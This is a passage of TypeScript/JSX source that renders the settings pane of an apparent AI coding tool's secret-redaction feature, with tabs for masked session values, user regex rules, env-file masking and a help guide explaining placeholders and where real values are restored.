875    const reveal = (p: string) => { kept.revealed.has(p) ? kept.revealed.delete(p) : kept.revealed.add(p); $.ui.invalidate('ui.render') }
876    // a long pattern is cut in the middle, so its row keeps the remove button on a narrow terminal
877    const pattern = (text: string) => <Box flexShrink={1}><Text wrap="truncate-middle">{text}</Text></Box>
878    const skip = (f: string | undefined) => f ? <Text color="red"> skipped: {f}</Text> : null
879    const broken = rules.filter(fault).length + settings.filter(lineFault).length + (kept.broken ? 1 : 0)
880    const label = (r: unknown) => fault(r) ? null : <Text dimColor> as {spec(r).label}</Text>
881    const lit = kept.compiled.length
882    const trial = fresh()
883    const preview = sample ? mask(sample, trial, [...kept.compiled, ...fromSettings]) : ''
884    const hits = sample ? masked(trial) : []
885    let testField = <Text dimColor>{'  try a sample with /redact test <text>'}</Text>
886    let addField = <Text dimColor>{'  add one with /redact add <regex>'}</Text> // mobile has no Input
887    if (e.surface !== 'mobile') {
888      const { Input } = $.ui.resolve(e)
889      testField = <Input key="test" value={sample} label="  test " placeholder="sample text; Enter previews what these patterns mask" submitLabel="test" onSubmit={v => { kept.sample = v; $.ui.invalidate('ui.render') }} />
890      addField = <Input key="add" label="  add  " placeholder="LABEL [i min=N strong prose]: regex, or a bare regex, masked as SECRET" submitLabel="add" onSubmit={async v => redraw(await add($, kept, v.trim()))} />
891    }
892    return (
893      <Box flexDirection="column" gap={1}>
894        <Box flexDirection="column">
895          <Box flexWrap="wrap" columnGap={2} justifyContent="space-between">
896            <Box flexWrap="wrap" columnGap={2}>
897              {tabBtn('session', `This session (${vault.length})`, 's')}
898              {tabBtn('rules', `Rules (${lit + fromSettings.length} on)`, 'r')}
899              {tabBtn('help', 'Guide', 'h')}
900              {broken > 0 && <Text color="red">✗ {broken} skipped</Text>}
901            </Box>
902            {e.surface === 'terminal' && (
903              <Box gap={1}>
904                <Text dimColor>terminal draws: {kept.raw ? 'as the model reads it' : 'the real values'}</Text>
905                <Button key="raw" label="switch" hotkey="d" onPress={async () => { kept.raw = !kept.raw; badge($, kept, await hold($, kept)); $.ui.invalidate('ui.render') }} />
906              </Box>
907            )}
908          </Box>
909          {note && <Text color={/^(not added|not saved|nothing added|already|no such)/.test(note) ? 'warning' : undefined} dimColor={!/^(not added|not saved|nothing added|already|no such)/.test(note)}>{note}</Text>}
910        </Box>
911        {tab === 'session' && (
912          <Box flexDirection="column">
913            <Box gap={1}>
914              <Box flexShrink={1}>{section('sec-session', 'This session', `${vault.length} masked`)}</Box>
915              {vault.length > 1 && <Box flexShrink={0}><Button key="forget-all" label="forget all" plain onPress={async () => redraw(await forgetAll($, kept))}><Text color="red">✗ all</Text></Button></Box>}
916            </Box>
917            {vault.length === 0
918              ? <Text dimColor>  nothing masked yet</Text>
919              : <Text dimColor>  forget drops one from the vault: a call naming it is refused, and the value masks under a new number</Text>}
920            {vault.map(({ p, v, by }) => (
921              <Box key={p} flexDirection="column">
922                <Box gap={1}>
923                  <Box flexShrink={1}><Text>  {p} {shown(p, v)}</Text></Box>
924                  {long(v) && <Box flexShrink={0}><Button key={`reveal-${p}`} label={kept.revealed.has(p) ? 'hide' : 'reveal'} plain dimColor onPress={() => reveal(p)}>{kept.revealed.has(p) ? '▾' : '▸'}</Button></Box>}
925                  <Box flexShrink={0}><Button key={`forget-${p}`} label="forget" plain onPress={async () => redraw(await forget($, kept, p))}><Text color="red">✗</Text></Button></Box>
926                </Box>
927                <Text dimColor>    masked by {by}</Text>
928              </Box>
929            ))}
930          </Box>
931        )}
932        {tab === 'rules' && (
933          <Box flexDirection="column" gap={1}>
934            <Box flexDirection="column">
935              <Box gap={1}>
936                <Box flexShrink={1}>{section('sec-test', 'Test', sample ? `${hits.length} matched` : 'without saving')}</Box>
937                {sample && <Box flexShrink={0}><Button key="clear-test" label="clear" plain onPress={() => { kept.sample = ''; $.ui.invalidate('ui.render') }}><Text color="red">✗</Text></Button></Box>}
938              </Box>
939              {testField}
940              {sample && (
941                <Box flexDirection="column">
942                  <Text>  → {preview}</Text>
943                  {hits.length === 0
944                    ? <Text dimColor>    {lit + fromSettings.length ? 'no rule matched' : 'no rule matched: none is on'}</Text>
945                    : hits.map(x => <Text key={x.p} dimColor>    {x.p} {shown(x.p, x.v)} · masked by {x.by}</Text>)}
946                </Box>
947              )}
948            </Box>
949            <Box flexDirection="column">
950              {section('sec-rules', 'Rules', `${lit} of ${rules.length} on`)}
951              <Text dimColor>  in {file}, for every project; edit it by hand or here</Text>
952              {kept.broken && <Text color="red">  {FILE} {kept.broken}: masking with the last rules read until it is fixed by hand</Text>}
953              {addField}
954              {rules.length === 0 && <Text dimColor>  none yet</Text>}
955              {rules.map((r: any, i) => {
956                const src = typeof r?.pattern === 'string' ? r.pattern : JSON.stringify(r)
957                const name = typeof r?.name === 'string' && r.name ? r.name : undefined
958                const f = fault(r), enabled = isOn(r)
959                return (
960                  <Box key={`rule-${i}`} flexDirection="column">
961                    {/* a named rule gets its name on its own line and the regex dimmed below it:
962                        on one line, a long regex buried the name */}
963                    <Box gap={1}>
964                      <Box flexShrink={1}>{pattern(`  ${i + 1}. ${name ?? src}`)}{label(r)}{skip(f)}</Box>
965                      <Box flexShrink={0}><Button key={`turn-${i}`} label={enabled ? 'turn off' : 'turn on'} plain onPress={async () => redraw(await turn($, kept, `${i + 1}`, !enabled))}><Text color={enabled && !f ? 'green' : undefined} dimColor={!enabled || !!f}>{enabled ? '● on' : '○ off'}</Text></Button></Box>
966                      <Box flexShrink={0}><Button key={`remove-${i}`} label="remove" plain onPress={async () => redraw(await remove($, kept, `${i + 1}`))}><Text color="red">✗</Text></Button></Box>
967                    </Box>
968                    {name && <Text dimColor wrap="truncate-middle">{`     ${src}`}</Text>}
969                  </Box>
970                )
971              })}
972            </Box>
973            <Box flexDirection="column">
974              {section('sec-env', 'Env files', kept.envOn === false ? 'off' : 'on')}
975              <Box gap={1}>
976                <Box flexShrink={1}><Text dimColor>  secret-shaped values of .env, .envrc, .dev.vars and the like where a session starts, read again when they change</Text></Box>
977                <Box flexShrink={0}><Button key="env" label={kept.envOn === false ? 'turn on' : 'turn off'} plain onPress={async () => redraw(await envTurn($, kept, kept.envOn === false))}><Text color={kept.envOn === false ? undefined : 'green'} dimColor={kept.envOn === false}>{kept.envOn === false ? '○ off' : '● on'}</Text></Button></Box>
978              </Box>
979            </Box>
980            <Box flexDirection="column">
981              {section('sec-settings', 'From settings', settings.length ? `${settings.length} set` : 'none')}
982              <Text dimColor>  the patterns option in settings.json, always on</Text>
983              {settings.length === 0 && <Text dimColor>  none</Text>}
984              {settings.map((src, i) => <Box key={`set-${i}`}>{pattern(`  ${src}`)}{lineFault(src) ? null : label(read(src))}{skip(lineFault(src))}</Box>)}
985            </Box>
986          </Box>
987        )}
988        {tab === 'help' && (
989          <Box flexDirection="column" gap={1}>
990            <Box flexDirection="column">
991              {section('sec-format', 'Rule format', FILE)}
992              <Text dimColor>{'  pattern         a JavaScript regex; each match is masked whole'}</Text>
993              <Text dimColor>{'  replacement     the placeholder\'s label, capitals, digits and _: API_KEY masks as API_KEY_n'}</Text>
994              <Text dimColor>{'  enabled         false turns a rule off; the two examples start off'}</Text>
995              <Text dimColor>{'  name            what the pane and the vault call it'}</Text>
996              <Text dimColor>{'  options         ignoreCase, strong, prose: true; min: N'}</Text>
997              <Text dimColor>{'  (?<v>...)       masks only group v (or v2), keeping prefix and suffix around it'}</Text>
998              <Text dimColor>{'  /redact add     LABEL [i min=N strong prose]: regex, or a bare regex as SECRET'}</Text>
999            </Box>
1000            <Box flexDirection="column">
1001              {section('sec-escape', 'Placeholders & escaping')}
1002              <Text dimColor>{'  once matched    a value keeps its placeholder all session and masks as a whole word'}</Text>
1003              <Text dimColor>{'  env files       a session starts with the secret-shaped values of the env files where it starts; /redact env off'}</Text>
1004              <Text dimColor>{'  unknown         a placeholder not in this session\'s vault refuses the tool call'}</Text>
1005              <Text dimColor>{`  ${ESC}LABEL_n⟧     ! after ${OPEN} writes the literal placeholder without restoring it`}</Text>
1006            </Box>
1007            <Box flexDirection="column">
1008              {section('sec-restore', 'Where real values go')}
1009              <Text dimColor>{'  tools           every tool call (Bash, Edit, WebFetch, WebSearch, MCP) gets real values'}</Text>
1010              <Text dimColor>{'  surfaces        only the terminal draws real values; desktop, VS Code and mobile keep placeholders'}</Text>
1011            </Box>
1012          </Box>
1013        )}
1014      </Box>
1015    )
1016  })
1017}
1018